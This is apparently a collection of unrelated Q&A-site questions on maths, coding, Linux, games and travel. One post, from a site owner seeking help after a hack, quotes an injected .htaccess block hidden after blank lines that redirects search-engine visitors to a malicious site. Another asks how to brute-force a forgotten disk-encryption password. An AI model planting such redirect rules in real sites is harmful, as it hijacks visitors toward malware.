Let us define Fibonacci Numbers as: $F_1=F_2=1,F_n=F_{n-1}+F_{n-2}$ for $n>2$.  $F_1$,$F_2$, and $F_{12}$ are perfect squares.     Find the least integer $n>12$, if any, such that $F_{n}$ is a perfect   square.        If there is no integer $n>12$ for which $F_n$ is a perfect square,   then prove that.     I tried using Microsoft Excel, I found that $F_{51}$ is close to be a perfect square, but it is not.  I tried to use the parabola $y=x^2-x-1$ (the roots of which are the golden ratios $1.618...$ and $-0.618...$) somehow, but it was not helpful for me.


What is the easiest way to include 1 using Math.random function?  Since the default is number between inclusive 1 and exclusive 0.  I am going to use my the rand function a lot of times in my code that is why i need an even probability of getting numbers between 0 and 1 [0,1] , inclusive 0 and inclusive 1.  Thanks!   Edit:  Sorry, big mistake. Exclusive 1, inclusive 0.


Under what conditions is $|x+y|=|x|+|y|$ true?

What instance that this equation would be true?  $|x+y|=|x|+|y|$ Given that $x$, $y$ are elements of real numbers.


About 4 or 5 days ago, a client came back to me saying that their site was being redirected to some other suspicious looking website from Google, Yahoo, etc., but it was working fine when the user enters the site URL in the browser address bar directly.  I tried contacting my hosting provider, but they were little to no help at first and then seemed to take forever to find out the problem.  Frustrated by the wait, I set out to find what had happened. After a little bit of trawling on Google for solutions, I found out that my .htaccess file had been hacked.  What was:  <Files *> Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0" Header set Expires: 0 Header set Pragma: no-cache </Files>   had become  <Files *> Header set Cache-Control: "private, pre-check=0, post-check=0, max-age=0" Header set Expires: 0 Header set Pragma: no-cache </Files> //several hundred empty lines later RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] RewriteCond %{HTTP_REFERER} .*yahoo.* [OR] RewriteCond %{HTTP_REFERER} .*baidu.* [OR] RewriteCond %{HTTP_REFERER} .*youtube.* [OR] RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR] RewriteCond %{HTTP_REFERER} .*qq.* [OR] RewriteCond %{HTTP_REFERER} .*excite.* [OR] RewriteCond %{HTTP_REFERER} .*altavista.* [OR] RewriteCond %{HTTP_REFERER} .*msn.* [OR] RewriteCond %{HTTP_REFERER} .*netscape.* [OR] RewriteCond %{HTTP_REFERER} .*aol.* [OR] RewriteCond %{HTTP_REFERER} .*hotbot.* [OR] RewriteCond %{HTTP_REFERER} .*goto.* [OR] RewriteCond %{HTTP_REFERER} .*infoseek.* [OR] RewriteCond %{HTTP_REFERER} .*mamma.* [OR] RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR] RewriteCond %{HTTP_REFERER} .*lycos.* [OR] RewriteCond %{HTTP_REFERER} .*search.* [OR] RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR] RewriteCond %{HTTP_REFERER} .*bing.* [OR] RewriteCond %{HTTP_REFERER} .*dogpile.* [OR] RewriteCond %{HTTP_REFERER} .*facebook.* [OR] RewriteCond %{HTTP_REFERER} .*twitter.* [OR] RewriteCond %{HTTP_REFERER} .*blog.* [OR] RewriteCond %{HTTP_REFERER} .*live.* [OR] RewriteCond %{HTTP_REFERER} .*myspace.* [OR] RewriteCond %{HTTP_REFERER} .*mail.* [OR] RewriteCond %{HTTP_REFERER} .*yandex.* [OR] RewriteCond %{HTTP_REFERER} .*rambler.* [OR] RewriteCond %{HTTP_REFERER} .*ya.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*linkedin.* [OR] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ /*don't want to post the malicious URL here for fear of retaliation */[R=301,L]   Basically, the bot that hacked me seemed to write directions that all traffic coming from the important sites be redirected to the virus site.  I immediately fixed it by removing the offensive code, and felt very nice about my clever self. I also removed the .htaccess file from the main folder that is accessed by the public, and kept it one folder above, at the root. I also changed the permissions to 444, read only by anyone. I changed the passwords to my FTP access, my hosting control panel, MySQL databases, et al.  However, today the issue was back. Turns out that a NEW .htaccess file had been installed in my public_html folder, and this had only the offensive code I wrote above and nothing else.  What's going on?  I have a feeling that this is not a case of my passwords being compromised. I'm on shared hosting, and maybe someone on the same hard-disk wrote a piece of code that went about writing .htaccess files merrily to all its neighbors. Is this possible? And is there anything I can do make sure this does not happen again?  There is no way I can reinstall or do anything to the main OS of the host though...


How to submit HTML multiple forms generated by jQuery

On ajax success i have list of generated forms:   ...             success: function (data) {             $el.append('<form method="POST" class="submit_form">Name: '+data[i].namen+'          Id: '+data[i].id+'
   SomethignElse: '+data[i].se+'
 SomethingElse2: '+data[i].se2+'             <input type="text" name="id" value="'+data[i].id+'" id="id_test" />      <input type="button" class="submit_button1"  value="Add"/></form>
');     i = ++ i;             } ...   Also i have a click functionto submit this forms/form:   $(".submit_button1").click(function(){ //do something });   but nothing happens on click. Is it possible to submit in this way?


I am facing this while using java.base64 issue ClassnotFoundException:Didn't find class "java.util.Base64" on path: DexPathList in java.util.Base64.I want to decrypt the encrypted text.So I am using this code and JAVA 8.Please help me   String encrptedtext = "QW28YjzFVa70mG/o/itYGGoEaV/0EBFY+jnxClcgw=";//secret key that boy given      byte[] base64decodedBytes = Base64.getDecoder().decode(encrptedtext);     try {  Log.i("EE", "decryptedString---" + new String(base64decodedBytes, "utf-8"));           } catch (UnsupportedEncodingException e) {             e.printStackTrace();         }


not available is not not/available, and not applicable is not not/applicable.  Why is it ?


How do I change file system in recovery mode to read-write mode?

I have messed up my sudoers file and I want to change the permission on it.   When I login in recovery mode, I cannot run the command chmod as it is read-only option.  I tried mount -o remount,rw / in recovery mode. Didn't work for me:  Err : Ext4-fs remount. Opts errors=remount-ro    How can I boot into recovery mode and with read-write option?


What is the rule of how many new quests you get at one day in Hearthstone 4.X?

I was always eager not to have 3 quests at the end of a day, because I didn't want to miss the quest for the next day. Now I was on vacation and didn't play for several days. When I returned I completed all 3 quests at one day and the next day I got 3 new quests. Again, I completed them and I got 2 new quests on the next day.  What is the rule behind in the current Hearthstone version 4.X ? Can you actually miss quests if your quest log is full? Or is there an internal queue or something?  The question was already asked in 2014 for Hearthstone 1.X here:  The answer does not apply to the current version, unfortunately.


Searching for label:foo and -label:bar in Gmail

I am trying to delete a few thousand threads, more than I could do manually.  When I search for     label:github -label:dont_delete -to:me@example.com   I see threads with the dont_delete label.  Why?  How can I get only threads that are labeled github, but not labeled dont_delete and not to me directly?


Just a quick question, is NTFS supported on El Capitan? I just plugged in my external hard drive and I am able to copy stuff from it, but not write to it. I guess only read mode is supported?


How to sync 1 TB multimedia data over the net

As an admin, I have the task to sync nearly 1 TB of multimedia data (jpg, tif, bmp images or pdf documents) with three partner over the internet and I'm asking how. Its nearly 500.000 single files in 50.000 folders I guess. I also have a 2 TB NAS in a datacenter for the data. I have tried different tools (usually freeware) to achieve this but none of them really worked.  I prefer the ftp protocol but nfs is also possible.  I tried FTPbox, but its crashing by the huge amount of data.   Most of the tools I tested (FreeFileSync, FTPbox, PureSync) are crashing or are really slow because of the many files to compare.  Nice would ne a dropbox like client (therefore I tested FTPbox) which can detect modified file by itself and updates them, but I guess even the dropbox client has his problems with the file amount.  Does someone know a tool to sync these huge amount of data?


Find the sum of a series involving n roots of unity

Given that $1,w,w^2,w^3,w^4.....w^{n-1}$ are nth roots of unity. find the sum of $$\sum_{i=1}^{n-1}\frac{1}{2-w^i}$$ The method I used was to write the equation of $w\;\text{as}\,z^n-1=0$ and further are writing this as $$z^n-1=(z-1)(z-w)(z-w^2)(z-w^3)....(z-w^{n-1})$$ and then replacing z here by 2. From this I was able to find out the denominator of the series in question but I couldn't figure out a way to simplify the numerator


I am not a native speaker, I do not know how to say this properly: "It should be always on", or "It should always be on"? Is there any difference?


Why does the find command blow up in /run/?

I used the following command to check python versions as given by . It does work except for one error, shown below. Can any one explain why?  $ sudo find / -type f -executable -iname 'python*' -exec file -i '{}' \; \     | awk -F: '/x-executable; charset=binary/ {print $1}' \     | xargs readlink -f | sort -u | xargs -I % sh -c 'echo -n "%: "; % -V'   Error:  find: ‘/run/user/1000/gvfs’: Permission denied


Can't you sleep also?   Is it well said? I want to ask if you can't sleep, like me.


What exactly do eigenvalue and eigenvector indicate?  I mean what is the importance in calculating them. We all know how to calculate them but I do not know the exact importance


I have put the following formula in a latex document but I am getting an error missing \right.  \begin{multline}     \int\;\dd^3\vec{x}\int\frac{\dd^3\vec{k^\prime}}{2E(\vec{k}^\prime)(2\pi)^3}     \left(         (2\pi)^3\dirac{3}{\vec{k}^\prime-\vec{k}}         \e{i\dots}a^\dagger(\vec{k}^\prime)\\         +(2\pi)^3\dirac{3}{\vec{k}^\prime-\vec{k}}         \e{i\dots}a(\vec{k}^\prime)     \right) \end{multline}   Note that if I remove the \\ then it works fine, ie;  \begin{multline}     \int\;\dd^3\vec{x}\int\frac{\dd^3\vec{k^\prime}}{2E(\vec{k}^\prime)(2\pi)^3}     \left(         (2\pi)^3\dirac{3}{\vec{k}^\prime-\vec{k}}         \e{i\dots}a^\dagger(\vec{k}^\prime)         +(2\pi)^3\dirac{3}{\vec{k}^\prime-\vec{k}}         \e{i\dots}a(\vec{k}^\prime)     \right) \end{multline}   That ^^ works.


I want to uninstall Wine from Ubuntu. How can I do that?

Is it safe to use  sudo apt-get autoremove   when removing wine? Will it make any changes to other installed applications?


I have a Java String that contains XML, with no line feeds or indentations. I would like to turn it into a String with nicely formatted XML. How do I do this?  String unformattedXml = "<tag><nested>hello</nested></tag>"; String formattedXml = new [UnknownClass]().format(unformattedXml);   Note: My input is a String. My output is a String.   (Basic) mock result:    <?xml version="1.0" encoding="UTF-8"?> <root>   <tag>     <nested>hello</nested>   </tag> </root>


Flag pop-up hidden beneath answer box (and it's still transparent!)

The flag window on (a comment to) the last question is hidden beneath the answer box, as shown in the following screenshot:    Linked: , which is currently  - this is not fixed for flags on comments!


I am attempting to import a CSV file as a delimted text layer that has decimal values into QGIS 3.2.  Whenever I do so, instead of QGIS reading the decimal values as real or double, it reads them as strings!  Interestingly, while I was working on the project as a draft prior to saving it, I had no problem with QGIS reading the data properly.  It seems that once I saved the project, QGIS is failing to read my imported decimal values properly.


How do we know what the integral of $\sin (x)$ is?

Since I started more or less formally learning the foundations of calculus, I naturally came across the Riemann definition of the integral. At first I considered this definition intuitive but not really useful since to obtain a closed form expression, one needed to add an infinite amount of values. Later on, an exercise prompted me to calculate a Riemann Integral, and from the definition and the expression for the sum of squares, I was able to calculate the limit with nothing more than I had learned at school.  This was a revelation for me, since so far I had considered the definition a mere formalism. Now I knew how it gave results. The next integral I tried to calculate this way was, for obvious reasons $\sqrt {1-x^2}$. Unfortunately, I found the sum intractable and gave up.  I started to question the usefulness of the definition again. If it only works for simple functions like polynomials, how did we ever find out that the integral of $\sin (x)$ is $-\cos (x)$? Did we use the Riemann definition or did we just say "the derivative of $-\cos (x)$ is $\sin (x)$ and therefore its integral must be $-\cos (x)$?  I would like to get some insight into the theory as well as the history that led to the tables of integrals we have today


If $w = z^{z^{z^{...}}}$ converges, we can determine its value by solving $w = z^{w}$, which leads to $w = -W(-\log z))/\log z$.  To be specific here, let's use $u^v = \exp(v \log u)$ for complex $u$ and $v$.  Two questions:   How do we determine analytically if the tower converges?  (I have seen the interval of convergence for real towers.) Both the logarithm and Lambert W functions are multivalued.  How do we know which branch to use?   In particular $i^{i^{i^{...}}}$ numerically seems to converge to one value of $i2W(-i\pi/2)/\pi$.  How do we establish this convergence analytically?  (Yes, I have searched the 'net, including the tetration forum.  I haven't been able to locate the answer to this readily.)


Modifying a char* in another function ? (Segmentation Fault)

I'm trying to modify an array of char declared in main (tab). So i send it to modify_tab and i modify it. But it doesn't work and send me a Segmentation Fault. Here's my code :    1│void    my_putstr(char *str)   2│{   3│  int   i;   4│   5│  i = 0;   6│  while (str[i] != '\0')   7│    {   8│      write(1, &str[i], 1);   9│      i++;  10│    }  11│}  12│  13│void    modify_tab(char *tab)  14│{  15│  char  *map;  16│  17│  map = tab;  18│  map[3] = 'a';  19│  my_putstr(map);  20│}  21│  22│void    main()  23│{  24│  char  *tab;  25│  26│  tab = "0123456789\n\0";  27│  my_putstr(tab);  28│  modify_tab(tab);  29│}


I am trying to create a document with fancyhdr and a pretty long header. It works on all pages except the first page, where the text flows into the header. On the following pages the text starts after the header is finished.  Why doesn't the text get bumped down by the header? What is different about the first page and how can I fix this?  Here is a simple test case showing my problem:  \documentclass{article}  \usepackage{fancyhdr} \pagestyle{fancy}  \usepackage[german]{babel} \usepackage[utf8]{inputenc}  \fancyhf{}  \chead{   I am a header \\   with multiple lines \\   many lines \\   many many lines \\   many many many lines }  \usepackage{blindtext}  \begin{document} \section{A section} \blindtext[30] \end{document}


How to subtract X days from a date using Java calendar?

Anyone know a simple way using Java calendar to subtract X days from a date?  I have not been able to find any function which allows me to directly subtract X days from a date in Java. Can someone point me to the right direction?


Would like to see what Credit Card Numbers have changed

Using the following SELECT Statement, I see all active drivers with a Credit Card Number : SELECT top 1000 * FROM cashcard WHERE crd_status = 'A'  Based on that query, I get a table with a bunch of columns. The column I'm focused on is the first one titled crd_cardnumber which is a list of credit card numbers that are associated with people that are active in our database. This is connected to our in-house database and we have an application that will run an automated query. I just need to create a SELECT statement that will return What has changed... in the crd_cardnumber column when I run it. Can anyone help me out?


Determine the number of 0 digits at the end of 100!

I got this question, and I'm totally lost as to how I solve it!  Any help is appreciated :)  When 100! is written out in full, it equals 100! = 9332621...000000. Without using a calculator, determine the number of 0 digits at the end of this number  EDIT: Just want to confirm this is okay --  I got 24 by splitting products into 2 cases 1) multiples of 10 and 2) multiples of 5 Case I (1*3*4*6*7*8*9*10)(100,000,000,000)--> 12 zeroes  Similarly got 12 zeroes for Case 2.  So 24 in total? Is that correct?


Which is the easiest way to reset the mysql root password?

In the past there has been sudo /etc/init.d/mysql reset-password, (1) is manually restarting and setting the password with an sql command again required? (2)  (1)  (2)


Hot Corners for Mission Control stop working

I set the upper right corner of the screen as a Hot Corner to activate Mission Control. However, some time after setting it, the Hot Corner stops working. Keyboard shortcuts still work.  Going back into System Preferences, changing the Hot Corner to some other action and then back to Mission Control resolves the problem temporarily. But eventually it fails again.  This wasn't always a problem with Lion. Mission Control Hot Corners used to work fine. I'm not certain, but I think the problem started with the 10.7.2 update. Either that, or some other software recently installed on my Mac is causing a conflict.  Any idea on how to resolve the unreliable Hot Corners?  27" iMac Core i3, OS X 10.7.2


This is how I interpret the story of Spirited Away:   The bathhouse represents the society. People work with each other towards a common goal. Every night, 8 million gods come to the bathhouse and workers serve them, worship them. In a way they deal with them, do business with them. In Asian cultures, fire, air, earth, water, food, etc. are represented as gods, so bathhouse very accurately represents a working society. The 'spell' breaks if they stop working. Yubaba is the culture. She manages the bathhouse. She is tyrannical and rules over people by taking there real name and giving them a new name. Chihiro was given a new name by Yubaba, 'Sen', which means 'one thousand', similar to how a person is given a roll number or employee number in an organisation. That number becomes his new identity. Haku has forgotten his real name. Similar to Islamic terrorism, he's become a slave to the tyrannical culture. He'll do anything the culture tells him to do. The baby is the belief system of the society. Yubaba is  protective of him.   One thing I can't understand is, who is Zeniba, Yubaba's twin sister.   Yubaba and Zeniba are two parts of a whole. Yubaba keeps baby locked in a room, afraid that he might get sick because of germs. Zeniba turned baby into a mouse so that he might have a little freedom. Zeniba lives in swamp bottom. There used to be trains running between bathhouse and swamp bottom in old days, but the return trains from swamp bottom have stopped. Now it's a one-way road towards swamp bottom. The tickets to swamp bottom Kamaji gave to Chihiro had been with him for 40 years. 'Zeni' has  meanings in Japanese, 'money' and 'ancient'. 'ba' means 'old lady'. The meaning of Zeniba which seems to fit the story is 'ancient old lady. Yubaba wanted to steal a seal from Zeniba, which was supposedly very precious.   So what does Zeniba represent in this story?


My server mail going junk in hotmail and yahoo

All my server mails going to spam in hotmail and yahoo. Here is my full mail source. Can any one please help me to sort out this issue ?  x-store-info:4r51+eLowCe79NzwdU2kRyU+pBy2R9QCDI9u8Kc1Jen/cHV1gUaS24G4DKF5OyCzEFltdVYxf/U4tC+z+83a3F/1TyfPewdH0QdEYMQ951mB/P/Dw5iT8myYw8K7+zHdz+DroxAfdvg= Authentication-Results: hotmail.com; spf=pass (sender IP is 162.144.82.142) smtp.mailfrom=admin@mycompany.com; dkim=pass header.d=mycompany.com; x-hmca=pass header.id=admin@mycompany.com X-SID-PRA: admin@mycompany.com X-AUTH-Result: PASS X-SID-Result: PASS X-Message-Status: n:n X-Message-Delivery: Vj0xLjE7dXM9MDtsPTA7YT0wO0Q9MjtHRD0yO1NDTD00 X-Message-Info: 11chDOWqoTl6HjGE9/H8+/QjhgnGC21ffJDOn7finCyTTlyUaI24NGi3HjF9PjrBnpP3zY0bOifg5AWLM70RH0F+LNUcDBsxVH0/nssTRy8HGIzJUOKwUY4nCWJs/1Oa2Ywkqv/1NjHwNJs+hRHIr0rPcSiWEjCzvtYidS+dRA9tMkNlFUot7ktYDutSn6TzfS/Xlde5FOYPJyqgafnLKWnwHbAQ50cU Received: from tic.mycompany.com ([162.144.82.142]) by COL004-MC1F19.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);      Mon, 20 Apr 2015 23:10:09 -0700 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=mycompany.com; s=default;     h=Content-Transfer-Encoding:Content-Type:MIME-Version:Message-ID:Subject:Reply-To:From:To:Date; bh=vyg7nyFcpbqkWqkPyefi/tzDbA0NJc81DZjIqWk7A5c=;     b=OTeHkTJ0sZZG5Lgx/PUHM/ylmUdwWp8Lp0TiCSEdZoAhbuntVIVxW9tfkznTKQtfdnsH26AouGvk8M3CIweXByvPtqlXADddNrXjR34xObOD+AJI0M/1X6sj2SDaN/06yqtlctDUp3NXrGFCM3uEDp96NpzxCr0EtV9p/p9Dw5s=; Received: from mycompany.com ([162.144.137.136]:46281 helo=www.mycompany.com)     by tic.mycompany.com with esmtpa (Exim 4.85)     (envelope-from <admin@mycompany.com>)     id 1YkRNo-0007KS-8h     for mymail@hotmail.com; Tue, 21 Apr 2015 01:10:08 -0500 Date: Tue, 21 Apr 2015 06:10:07 +0000 To: mymail@hotmail.com From: admin <admin@mycompany.com> Reply-To: admin <admin@mycompany.com> Subject: Test mail from code Message-ID: <961ddc2e972e3ba3c12e509a43179d23@www.mycompany.com> X-Priority: 3 X-Mailer: PHPMailer 5.2.9 (https://github.com/PHPMailer/PHPMailer/) MIME-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - tic.mycompany.com X-AntiAbuse: Original Domain - hotmail.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - mycompany.com X-Get-Message-Sender-Via: tic.mycompany.com: authenticated_id: admin@mycompany.com X-Source:  X-Source-Args:  X-Source-Dir:  Return-Path: admin@mycompany.com X-OriginalArrivalTime: 21 Apr 2015 06:10:09.0403 (UTC) FILETIME=[D1FFF4B0:01D07BF9]  Test mail from code.   Thanks in advance


Prove that the number of partitions of $n$ into at most $k$ parts is equal to the number of partitions of $n+k$ into exactly $k$ parts.  I got this problem from a book about Combinatorics, and I am supposed to use Ferrers diagrams and their conjugates to help with the solution. I am not sure how to go about proving this; the part that confuses me is the 'at most' part, which makes me think that I have to deal with multiple cases. Thanks for your help.


Is a Pokémon's weight and height relevant?

Does a Pokémon's weight and height influence their CP?   Or are the differences between Pokémon weight/height purely cosmetic, i.e. "just for fun"?


When I try to add or multiply in a python3, I get an obvious error, although the operation is very simple and can be easily verified.  # for example:  a = 0.3 * 3 b = 0.3 + 0.3 + 0.3 c = 0.6 + 0.3  print('a = ',a) print('b = ', b) print('c = ',c)   I expect the answer to be 0.9, but it is different.  a =  0.8999999999999999 b =  0.8999999999999999 c =  0.8999999999999999   Can someone explain why this is happening. I use: Python 3.6.8 :: Anaconda custom (64-bit)


How can I confirm that my I-94 form was correctly processed after leaving the US in 2007?

My father visited US on visitor's visa in 2007 for 20 days and submitted his I-94 while leaving. I am now in the process of applying his visitor's visa again. His old passport which had the visa stamp was renewed however, he did not get his old passport. but the new passport has the old passport # referenced. I was checking the online website to get previous travel history/I-94 record for him, however looks like they have only past 5 yrs record available online.   I have been reading online and it looks like if there is no record found, the person is considered to have overstayed in US and when reentering, one may face complications at Port of Entry. Don't they have a list of overstayers? Does this mean USCIS or DHS does not have the record of I-94 submitted in 2007?   As my father's old passport is not with him, he won't be able to show the stamp of arrival at his country. Would he be subjected to questioning about his previous visit and prove that he did not overstay?   I do not want him to face any humiliation at the POE. I don't mind his visa getting rejected.


Can 2018 be written as a sum of two squares? If can, what is the expression?

Can $2018$ be written as a sum of two squares? If it can be, what are the numbers?  I know the first answer is it can be because $2018=2\times1009$ and $1009\equiv 1 \pmod{4}$. But I cannot find the numbers.


How do I get rid of /sys/kernel/debug/tracing?

I have two Ubuntu 16.04.1 servers providing DHCP and DNS services on my network. Today, on one of my servers, I discovered a new filesystem mounted at /sys/kernel/debug/tracing. The other server, which is configured almost identically, does not have this filesystem mounted.  Why did this filesystem get mounted? How do I get rid of it?  > uname -a Linux net-services-02 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:39:52 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux  > cat /proc/cmdline BOOT_IMAGE=/vmlinuz-4.4.0-47-generic root=/dev/mapper/net--services--02--vg-root ro  > cat /etc/fstab # /etc/fstab: static file system information. # [... more comments ...] # <file system> <mount point>   <type>  <options>       <dump>  <pass> /dev/mapper/net--services--02--vg-root /               ext4    errors=remount-ro 0       1 # /boot was on /dev/sda1 during installation UUID=363b849e-4574-410a-acf9-e84c95d7d879 /boot           ext2    defaults        0       2 /dev/mapper/net--services--02--vg-swap_1 none            swap    sw              0       0


I have a . It runs ICS 4.0.4, has 512 MB RAM, a 1 GHz proccesor – ARM v7, Powervr and 128 MB internal memory.  Can I flash and add a custom rom? And if so, which one? I need Jelly Bean.


Which topics are essential for QGIS beginners?

What topics do you think are essential in an introduction for QGIS?  The target audience is those with zero or rudimentary knowledge in mapping and geospatial software.


Boolean equals is referring to null object

So,I am trying to create a login page for server side my application.It's supposed to login only those users who have "IsStaff"="true"....I have used to many if-else statements in this code(for all the possible inputs-like IsStaff=false,or just wrong password in general),and all of them work well(I can say so as they do display their related toast message)...But when I do try to login from account with IsStaff=True....My application crashes with this in my logcat-  java.lang.NullPointerException: Attempt to invoke virtual method 'boolean java.lang.String.equals(java.lang.Object)' on a null object reference     at com.example.admincharade.SignIn$2.onDataChange(SignIn.java:66)     at com.google.android.gms.internal.firebase_database.zzfc.zza(Unknown Source:13)     at com.google.android.gms.internal.firebase_database.zzgx.zzdr(Unknown Source:2)     at com.google.android.gms.internal.firebase_database.zzhd.run(Unknown Source:71)     at android.os.Handler.handleCallback(Handler.java:790)     at android.os.Handler.dispatchMessage(Handler.java:99)     at android.os.Looper.loop(Looper.java:164)     at android.app.ActivityThread.main(ActivityThread.java:6494)     at java.lang.reflect.Method.invoke(Native Method)     at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)     at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807)   So here's the code of login,and also the User class that I am referring to in this login method.Please help me out.Thanks in advance. Also I am sorry if I didn't follow any formatting rule by chance,I am pretty new and it's honestly pretty overwhelming with so many formatting options.  private void signInUser(final String phone, String password) {     final ProgressDialog mDialog=new ProgressDialog(SignIn.this);     mDialog.setMessage("Please Wait");     mDialog.show();     final String localPhone=phone;     final String localPassword=password;     users.addValueEventListener(new ValueEventListener() {         @Override         public void onDataChange(@NonNull DataSnapshot dataSnapshot) {             if(dataSnapshot.child(localPhone).exists())             {                 mDialog.dismiss();                 User user=dataSnapshot.child(localPhone).getValue(User.class);                 user.setPhone(localPhone);                 if (Boolean.parseBoolean(user.getIsStaff()))                 {                     if(user.getPassword().equals(localPassword))                     {                         Intent login=new Intent(SignIn.this,Home.class);                         Common.currentUser=user;                         startActivity(login);                         finish();                     }                     else                         Toast.makeText(SignIn.this, "Invalid Login", Toast.LENGTH_SHORT).show();                 }                 else                     Toast.makeText(SignIn.this, "Only for Admin", Toast.LENGTH_SHORT).show();             }             else             {                 mDialog.dismiss();                 Toast.makeText(SignIn.this, "No such user found", Toast.LENGTH_SHORT).show();             }         }  public class User { private String Name,Password,Phone,IsStaff;  public User(String name, String password) {     Name = name;     Password = password; }   And this is user  public User() { }  public String getName() {     return Name; }  public void setName(String name) {     Name = name; }  public String getPassword() {     return Password; }  public void setPassword(String password) {     Password = password; }  public String getPhone() {     return Phone; }  public void setPhone(String phone) {     Phone = phone; }  public String getIsStaff() {     return IsStaff; }  public void setIsStaff(String isStaff) {     IsStaff = isStaff; } }


Evaluate the integral $\int \frac{\sec x}{\sqrt{3+\tan x}}dx$

Evaluate the following integral.$$\int \frac{\sec x}{\sqrt{3+\tan x}}dx$$  On putting $t=\tan x$ I am getting $$\int\frac{1}{\sqrt{(t^2+1)(t+3)}}dt$$.  How should i proceed from here.


How are search results ordered, especially when the search terms are 'question agnostic'?

I frequently prefer to look for questions on superuser .    I have never been able to determine how these search results are ordered.  Typically, search results are returned in order of relevance and the search help says they are "weighted heavily towards question title matches", but in this case, you would think that the search would order them based on whatever tab is currently selected (newest, hot, active)?  I ordinarily never stray outside of 'newest', but it's clear the results are not sorted by age.


Apply a script on a html file called by Ajax

Everything is in the title ...  I created a code running on an element range:  (function($){     $('.range').each(function(){         var range = $(this);         range.on('input', function(){             range.next().text($(this).val());         })         .next().text(range.val());     }); })(jQuery);   I wish it also works on the same element called by Ajax.  $('.ajax-global').on('click', function(){     var param = $(this).attr('id');     $('.ajax-window').load('./Ajax/' + param + '.php'); });   Here is a practical example of these tags Range: .  If I call the same html code via Ajax, javascript does not apply to the latter.  (press the "Welcome Stackoverflow" button).  How to proceed? This is a dilemma that I can not solve, and that for a while ...  EDIT :  I remembered a useful function: $.getScript(), I'm almost there:   $('.ajax-global').on('click', function(){     var param = $(this).attr('id');     // Ouverture dans une fenêtre ajax généraliste :     $('.ajax-window').load('./Ajax/' + param + '.php', function() {         $.getScript( "./Scripts/Public/Scripts.js");     }); });   It works ... except that the file called is reapplied to the entire document, whereas I want to limit only to new html elements called via Ajax (in order to limit the bugs).


I assume that i touched some setting ,but i dont know what. I use blender 2.79 now, and yesterday i was working on some material, doing some experiments. When i liked the result, i took a screenshot of the nodes:  Now i finished the modeling of one object and i wanted to make the same material for it, but when i went to the node editor, added a new material and nothing showed. Then i saw that there was "Use nodes" box and it was unchecked. I checked it and got this:  What was even weirder is that by changing the color from the material properties panell, i changed the color of it in solid view. My question is: How did i enable that and how to go back? If any further info is needed i will put it


I'm using the below code to retrieve a file from db using Spring Boot JPA.  But it's returning null value.   PS. There is no problem with DB connection. I can save values using the repository but problem occurs while retrieving value using ID.  Can anyone please give me a solution ?  @RequestMapping(value = "/fetch/{id}", method = RequestMethod.GET) public List<Page> getData(@PathVariable String id) {      try {             FileDB file = fileRepository.findOne(Long.parseLong(id));             Document doc = file.getDocument();             List<Page> pages = doc.getPages();             return pages;          } catch (Exception e) {             System.out.println(e.toString());             List<Page> pages = new ArrayList<>();             return pages;         } }


Coin sequence paradox from Martin Gardner's book

"An event less frequent in the long run is likely to happen before a more frequent event!"  How can I show that THTH is more likely to turn up before HTHH with a probability of  9/14, even though waiting time of THTH is 20 and HTHH, 18!  I would be very thankful if you could show me the way of  calculating the probability of turning up earlier,   and the waiting time. Thank you!


I know that maybe this question has been asked many times, but most likely from different nationalities.  I did read quite a lot of questions and unfortunately I didn't see anyone with my nationality. I'm a Bulgarian passport holder( BULGARIA IS NOT IN THE VISA WAIVER PROGRAM) and I will travel from London(Heathrow) to Chile(Santiago) through Atlanta with layover for more than 5 hours.  DO I NEED ESTA OR ANY KIND OF VISA? I'm 99% sure that ESTA is only required for passport holders under the VISA WAIVER PROGRAM, but wanted to ask just in case.  I already asked the airline I'm flying with, but still waiting for respond and I'm kind of nervous about it...so would like to know as soon as possible. If anyone has relevant information will be highly appreciated.  Thanks, Zamtelligent


linux kde full disk encryption how to bruteforce

how do i bruteforce a linux kde full disk encryption. i get to please unlock disk sda5 crypt. I have an apprioximate idea of the password i used. It can only be a few words but because i alphanumeric and sometimes i add dashes or fullstops and also the possiblity of mistyoing by accident i have forgotten the password. I have no idea how to bruteforce. I am also noob at linux. Please help and i will love you forever.


I want to uninstall Ubuntu because I just don't like it...  I have windows 7 and no boot disk or anything special to uninstall, when I installed Ubuntu it said easy to uninstall and I would love to know how to actually uninstall it. Thank You.


I remember reading a story about an alien who came to earth and gave/sold a human a little device.  It was the size of a pen, and when you aimed it at something metal, the metal became malleable, like clay.  A second time, and the metal resolidified.  When the alien came back not long after, human civilization had completely fallen to pieces because of it.  Does anyone know the name and author of the story?


Can you find villages on Minecraft Pocket Edition?

I know Minecraft was updated somewhat recently and part of that update was to make the worlds go on forever. Did this update include villages?


Why can't I see or buy the Karin Kuruma?

Why can't I see or buy the Karin Kuruma on southernsanandreasuperautos.com? I have the 100k one. I have already done the Fleeca Job but I can't find it or buy it again.  I am playing on the PS3.


x raised to itself infinite number of times


Why jFileChosser.getSelectedFile().getAbsolutePath(); is not working in my project?

